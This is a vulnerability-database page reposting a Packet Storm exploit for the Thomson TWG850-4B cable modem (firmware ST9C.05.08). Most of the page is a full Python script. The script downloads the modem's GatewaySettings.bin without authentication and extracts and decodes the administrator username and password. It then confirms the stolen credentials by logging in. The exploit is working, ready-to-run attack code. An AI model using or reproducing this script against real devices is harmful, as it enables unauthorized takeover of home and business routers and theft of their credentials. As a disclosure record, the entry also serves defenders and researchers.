Lucene search
K

Thomsom Cable Modem TWG850-4B ST9C.05.08 Authentication Bypass

🗓️ 02 Sep 2015 00:00:00Reported by OrwellLabsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Thomson Wireless VoIP Cable Modem TWG850-4B (ST9C.05.08) Authentication Bypas

Code
`###############################################################################  
#+-////////////////////////////////////////////////////////////////////////////  
#+-  
#+- Exploit Title: Thomson Wireless VoIP Cable Modem Arbitrary File Access   
#+- Date: October 22, 2013  
#+- Author: Glaysson dos Santos  
#+-  
#+- Product: TWG850-4B Wireless VoIP Cable Modem  
#+- Software Version: ST9C.05.08  
#+- Hardware Version: 2.1  
#+- BOOT Revision: 2.1.7i  
#+- Standard Specification Compliant: DOCSIS 2.0  
#+- Firmware Name: DWG850-4-9C.05.08-110217-S-1FF.bin  
#+- Firmware Build Time 19:19:19 Thu Feb 17 2011  
#+- Severity: High  
#+-  
#+-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\  
################################################################################  
  
  
import string  
import urllib2  
import sys  
from time import sleep  
import base64  
import binascii  
import os  
  
save = 'log_TWG8504B.txt'  
log = open(save,'w')  
bifi = 'GatewaySettings.bin'  
refi = 'RgComputers.asp'  
R_C = ("\033[0;31m")  
G_C = ("\033[1;32m")  
D_C = ("\033[0m" )  
  
  
def banner():  
os.system('clear')  
print "\nThomson Wireless VoIP Cable Modem DWG850 -4B (Software Version:ST9C.05.08)- Arbitrary File Read\n \  
\t- 2013 - Glaysson dos Santos (0cn1)\n\n"  
  
  
def hr_data(filename, min=4):  
with open(filename, "rb") as f:  
result = ""  
for c in f.read():  
if c in string.printable:  
result += c  
continue  
if len(result) >= min:  
yield result  
print >> log, result  
result = ""  
print "(+)- Others Informations Extracted Saved in %s, but you've a Admin Password :D\n"%(save)  
  
def checkcreds(router,username,password):  
auth_handler = urllib2.HTTPBasicAuthHandler()  
auth_handler.add_password(realm='Thomson',  
uri = router,  
user = username,  
passwd= password)  
opener = urllib2.build_opener(auth_handler)  
try:  
urllib2.install_opener(opener)  
status = urllib2.urlopen('%s/%s'%(router,refi))  
print '(+)- [status:%s%s%s] Authenticated successfuly, Enjoy it!'%(G_C,status.code,D_C)  
  
except urllib2.URLError, e:  
if e.code == 401:  
print '(+)- [status:%s%s%s] Invalid Credentials! Try yourself in a browser.'%(R_C,e.code,D_C)  
  
def checkvuln(router):  
try:  
print '(+)- Checking if target is vulnerable...'  
req = urllib2.Request('%s/%s'%(router,bifi))  
response = urllib2.urlopen(req)  
page = response.read()  
x = open(bifi,'wb')  
x.write(page)  
x.close()  
sleep(1)  
print '(+)- The target appears to be vulnerable, lets check it better!'  
print '(+)- Searching Credentials...'  
sleep(1)  
for s in hr_data(bifi):  
try:  
dec = base64.decodestring(s)  
if dec.find(':') != -1:  
user,passwd = dec.split(':')  
print '(+)- User: %s%s%s'%(G_C,user,D_C)  
print '(+)- Pass: %s%s%s'%(G_C,passwd,D_C)  
  
print '(+)- Checking if creds are OK...'  
checkcreds(router,user,passwd)  
  
except(binascii.Error):  
pass  
except urllib2.URLError, e:  
print '[$] hollyshit! the target is not vuln! o.O (%s%s%s)'%(R_C,e.reason[1],D_C)  
sys.exit(1)  
  
if __name__ == "__main__":  
banner()  
if len(sys.argv) != 2:  
print '[!] %sRun %s router IP%s\n'%(R_C,sys.argv[0],D_C)  
sys.exit(2)  
  
router = sys.argv[1]  
if not "http" in router:  
router = "http://"+(sys.argv[1])  
checkvuln(router)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation